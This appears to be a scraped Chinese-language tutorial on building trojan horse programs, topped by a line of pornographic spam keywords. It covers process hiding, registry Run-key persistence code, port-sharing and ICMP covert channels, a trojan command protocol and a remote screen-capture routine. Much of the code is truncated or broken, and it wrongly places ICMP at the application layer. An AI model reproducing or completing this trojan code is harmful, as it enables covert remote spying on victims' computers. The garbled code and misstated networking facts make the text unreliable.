国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

1、木馬程序的分類

木馬程序的服務(wù)器端，為了避免被發(fā)現(xiàn)，多數(shù)都要進(jìn)行隱藏處理，下面讓我們來看看木馬是如何實(shí)現(xiàn)隱藏的。

說到隱藏，首先得先了解三個(gè)相關(guān)的概念：進(jìn)程，線程和服務(wù)。我簡單的解釋一下。

　　進(jìn)程：一個(gè)正常的Windows應(yīng)用程序，在運(yùn)行之后，都會(huì)在系統(tǒng)之中產(chǎn)生一個(gè)進(jìn)程，同時(shí)，每個(gè)進(jìn)程，分別對(duì)應(yīng)了一個(gè)不同的PID（Progress ID, 進(jìn)程標(biāo)識(shí)符）這個(gè)進(jìn)程會(huì)被系統(tǒng)分配一個(gè)虛擬的內(nèi)存空間地址段，一切相關(guān)的程序操作，都會(huì)在這個(gè)虛擬的空間中進(jìn)行。
線程：一個(gè)進(jìn)程，可以存在一個(gè)或多個(gè)線程，線程之間同步執(zhí)行多種操作，一般地，線程之間是相互獨(dú)立的，當(dāng)一個(gè)線程發(fā)生錯(cuò)誤的時(shí)候，并不一定會(huì)導(dǎo)致整個(gè)進(jìn)程的崩潰。

　　服務(wù)：一個(gè)進(jìn)程當(dāng)以服務(wù)的方式工作的時(shí)候，它將會(huì)在后臺(tái)工作，不會(huì)出現(xiàn)在任務(wù)列表中，但是，在Windows NT/2000下，你仍然可以通過服務(wù)管理器檢查任何的服務(wù)程序是否被啟動(dòng)運(yùn)行。

　　想要隱藏木馬的服務(wù)器端，可以偽隱藏，也可以是真隱藏。偽隱藏，就是指程序的進(jìn)程仍然存在，只不過是讓他消失在進(jìn)程列表里。真隱藏則是讓程序徹底的消失，不以一個(gè)進(jìn)程或者服務(wù)的方式工作。

　　偽隱藏的方法，是比較容易實(shí)現(xiàn)的，只要把木馬服務(wù)器端的程序注冊(cè)為一個(gè)服務(wù)就可以了，這樣，程序就會(huì)從任務(wù)列表中消失了，因?yàn)橄到y(tǒng)不認(rèn)為他是一個(gè)進(jìn)程，當(dāng)按下Ctrl+Alt+Delete的時(shí)候，也就看不到這個(gè)程序。但是，這種方法只適用于Windows9x的系統(tǒng)，對(duì)于Windows NT,Windows 2000等，通過服務(wù)管理器，一樣會(huì)發(fā)現(xiàn)你在系統(tǒng)中注冊(cè)過的服務(wù)。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎？當(dāng)然還有辦法，那就是API的攔截技術(shù)，通過建立一個(gè)后臺(tái)的系統(tǒng)鉤子，攔截PSAPI的EnumProcessModules等相關(guān)的函數(shù)來實(shí)現(xiàn)對(duì)進(jìn)程和服務(wù)的遍歷調(diào)用的控制，當(dāng)檢測(cè)到進(jìn)程ID（PID）為木馬程序的服務(wù)器端進(jìn)程的時(shí)候直接跳過，這樣就實(shí)現(xiàn)了進(jìn)程的隱藏，金山詞霸等軟件，就是使用了類似的方法，攔截了TextOutA,TextOutW函數(shù)，來截獲屏幕輸出，實(shí)現(xiàn)即時(shí)翻譯的。同樣，這種方法也可以用在進(jìn)程隱藏上。

　　出于安全考慮，我只給出一種通過注冊(cè)服務(wù)程序，實(shí)現(xiàn)進(jìn)程偽隱藏的方法，對(duì)于更復(fù)雜，高級(jí)的隱藏方法，比如遠(yuǎn)程線程插入其他進(jìn)程的方法，請(qǐng)參閱ShotGun的文章《NT系統(tǒng)下木馬進(jìn)程的隱藏與檢測(cè)》。

　　讓程序自運(yùn)行的方法比較多，除了最常見的方法：加載程序到啟動(dòng)組，寫程序啟動(dòng)路徑到注冊(cè)表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外，還有很多其他的辦法，據(jù)yagami講，還有幾十種方法之多，比如可以修改Boot.ini，或者通過注冊(cè)表里的輸入法鍵值直接掛接啟動(dòng)，通過修改Explorer.exe啟動(dòng)參數(shù)等等的方法，真的可以說是防不勝防，下面展示一段通過修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run鍵值來實(shí)現(xiàn)自啟動(dòng)的程序：

　　自裝載部分：

}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}

自裝載程序的卸載代碼：

int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD  vl=254;
DWORD Suc;
do{
　　　　Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
　　　　　　if (strcmp(str,"BGroup")==0)
{
　　　　　　　　　　　　DeleteFile(AnsiString(strv));
　　　　　　　　　　　　RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
　　　　　　　　　　　　break;
　　　　　　}
}while(Suc== ERROR_SUCCESS)

HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
 RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
　　　　Suc=RegEnumValue(hkey,(DWORD)num,str,　　　　if (strcmp(str,"BackGroup")==0)
{
　　　　　　　　DeleteFile(AnsiString(strv));
　　　　　　　　RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
　　　　　　　　break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);

其中自裝載部分使用C++ Builder可以這樣寫，會(huì)比較簡化：

TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ®Key;

　　4、木馬程序的建立連接的隱藏

　　木馬程序的數(shù)據(jù)傳遞方法有很多種，其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了，通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接，使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞，但是由于這種方法的隱蔽性比較差，往往容易被一些工具軟件查看到，最簡單的，比如在命令行狀態(tài)下使用netstat命令，就可以查看到當(dāng)前的活動(dòng)TCP，UDP連接。

C:\Documents and Settings\bigball>netstat -n

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    192.0.0.9:1032         64.4.13.48:1863        ESTABLISHED
  TCP    192.0.0.9:1112         61.141.212.95:80       ESTABLISHED
  TCP    192.0.0.9:1135         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1142         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1162         192.0.0.8:139          TIME_WAIT
  TCP    192.0.0.9:1169         202.130.239.159:80     ESTABLISHED
  TCP    192.0.0.9:1170         202.130.239.133:80     TIME_WAIT

C:\Documents and Settings\bigball>netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    Liumy:echo             Liumy:0                LISTENING
  TCP    Liumy:discard          Liumy:0                LISTENING
  TCP    Liumy:daytime          Liumy:0                LISTENING
  TCP    Liumy:qotd             Liumy:0                LISTENING
  TCP    Liumy:chargen          Liumy:0                LISTENING
  TCP    Liumy:epmap            Liumy:0                LISTENING
  TCP    Liumy:microsoft-ds     Liumy:0                LISTENING
  TCP    Liumy:1025             Liumy:0                LISTENING
  TCP    Liumy:1026             Liumy:0                LISTENING
  TCP    Liumy:1031             Liumy:0                LISTENING
  TCP    Liumy:1032             Liumy:0                LISTENING
  TCP    Liumy:1112             Liumy:0                LISTENING
  TCP    Liumy:1135             Liumy:0                LISTENING
  TCP    Liumy:1142             Liumy:0                LISTENING
  TCP    Liumy:1801             Liumy:0                LISTENING
  TCP    Liumy:3372             Liumy:0                LISTENING
  TCP    Liumy:3389             Liumy:0                LISTENING
  TCP    Liumy:netbios-ssn      Liumy:0                LISTENING
  TCP    Liumy:1028             Liumy:0                LISTENING
  TCP    Liumy:1032             msgr-ns19.msgr.hotmail.com:1863  ESTAB
  TCP    Liumy:1112             szptt61.141.szptt.net.cn:http  ESTABLI
  TCP    Liumy:1135             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1142             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1162             W3I:netbios-ssn        TIME_WAIT
  TCP    Liumy:1170             202.130.239.133:http   TIME_WAIT
  TCP    Liumy:2103             Liumy:0                LISTENING
  TCP    Liumy:2105             Liumy:0                LISTENING
  TCP    Liumy:2107             Liumy:0                LISTENING
  UDP    Liumy:echo             *:*
  UDP    Liumy:discard          *:*
  UDP    Liumy:daytime          *:*
  UDP    Liumy:qotd             *:*
  UDP    Liumy:chargen          *:*
  UDP    Liumy:epmap            *:*
  UDP    Liumy:snmp             *:*
  UDP    Liumy:microsoft-ds     *:*
  UDP    Liumy:1027             *:*
  UDP    Liumy:1029             *:*
  UDP    Liumy:3527             *:*
  UDP    Liumy:4000             *:*
  UDP    Liumy:4001             *:*
  UDP    Liumy:1033             *:*
  UDP    Liumy:1148             *:*
  UDP    Liumy:netbios-ns       *:*
  UDP    Liumy:netbios-dgm      *:*
  UDP    Liumy:isakmp           *:*

　但是，黑客還是用種種手段躲避了這種偵察，就我所知的方法大概有兩種，一種是合并端口法，也就是說，使用特殊的手段，在一個(gè)端口上同時(shí)綁定兩個(gè)TCP或者UDP連接，這聽起來不可思議，但事實(shí)上確實(shí)如此，而且已經(jīng)出現(xiàn)了使用類似方法的程序，通過把自己的木馬端口綁定于特定的服務(wù)端口之上，（比如80端口的HTTP，誰懷疑他會(huì)是木馬程序呢？）從而達(dá)到隱藏端口的目地。另外一種辦法，是使用ICMP（Internet Control Message Protocol）協(xié)議進(jìn)行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造，加入木馬的控制字段，這樣的木馬，具備很多新的特點(diǎn)，不占用端口的特點(diǎn)，使用戶難以發(fā)覺，同時(shí)，使用ICMP可以穿透一些防火墻，從而增加了防范的難度。之所以具有這種特點(diǎn)，是因?yàn)镮CMP不同于TCP，UDP，ICMP工作于網(wǎng)絡(luò)的應(yīng)用層不使用TCP協(xié)議。關(guān)于網(wǎng)絡(luò)層次的結(jié)構(gòu)，下面給出圖示：

　　5、發(fā)送數(shù)據(jù)的組織方法

　　關(guān)于數(shù)據(jù)的組織方法，可以說是數(shù)學(xué)上的問題。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性，壓縮性，以及高效行。木馬程序，為了避免被發(fā)現(xiàn)，必須很好的控制數(shù)據(jù)傳輸量，一個(gè)編制較好的木馬，往往有自己的一套傳輸協(xié)議，那么程序上，到底是如何組織實(shí)現(xiàn)的呢？下面，我舉例包裝一些協(xié)議：

typedef struct{       //定義消息結(jié)構(gòu)
//char ip[20];
char Type;    //消息種類
char Password[20];    //密碼
int CNum;          //消息操作號(hào)
//int Length;    //消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對(duì)話框數(shù)據(jù)包定義：Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型：
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發(fā)送完成事件
//消息結(jié)構(gòu)
typedef struct{
        char Name[20];//對(duì)話框標(biāo)題
        char Msg[256];//對(duì)話框消息內(nèi)容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度

//------------------------------------------
//聊天數(shù)據(jù)包定義：Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型：
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結(jié)束事件
#define MsgChatReceived 16//確認(rèn)對(duì)話內(nèi)容收到
//消息結(jié)構(gòu)
typedef struct{
 char ClientName[20];//Client自定義的名稱
 char Msg[256];//發(fā)送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度

//------------------------------------------
//重啟數(shù)據(jù)包定義：Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型：
#define MsgReBoot 15//重啟事件

//------------------------------------------
//目錄結(jié)構(gòu)請(qǐng)求數(shù)據(jù)包定義：Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型：
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg
typedef struct{       //定義消息結(jié)構(gòu)
char SType;    //消息種類
char SPassword[20];    //密碼
//int SNum;             //消息操作號(hào)
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)

 　數(shù)據(jù)協(xié)議組織好，還有一步工作，就是數(shù)據(jù)的打包發(fā)送，一般的方法是把全部數(shù)據(jù)壓為一個(gè)VOID類型的數(shù)據(jù)流，然后發(fā)送：

Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機(jī)器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼:

NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

#define MAXXCount 10 //屏幕X方向最多分割塊數(shù)
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測(cè)點(diǎn)最大個(gè)數(shù)
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后執(zhí)行：
//另外：接收到的數(shù)據(jù)包中分析出 Dnum ，Qlity
//Dnum：偏移觀測(cè)點(diǎn)數(shù)量
//Qlity：圖象要求質(zhì)量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只執(zhí)行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數(shù)功能：掃描改變的屏幕區(qū)域，并切經(jīng)過優(yōu)化處理，最后發(fā)送這些區(qū)域數(shù)據(jù)
//DNum: 偏移量 Qlity:圖象質(zhì)量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}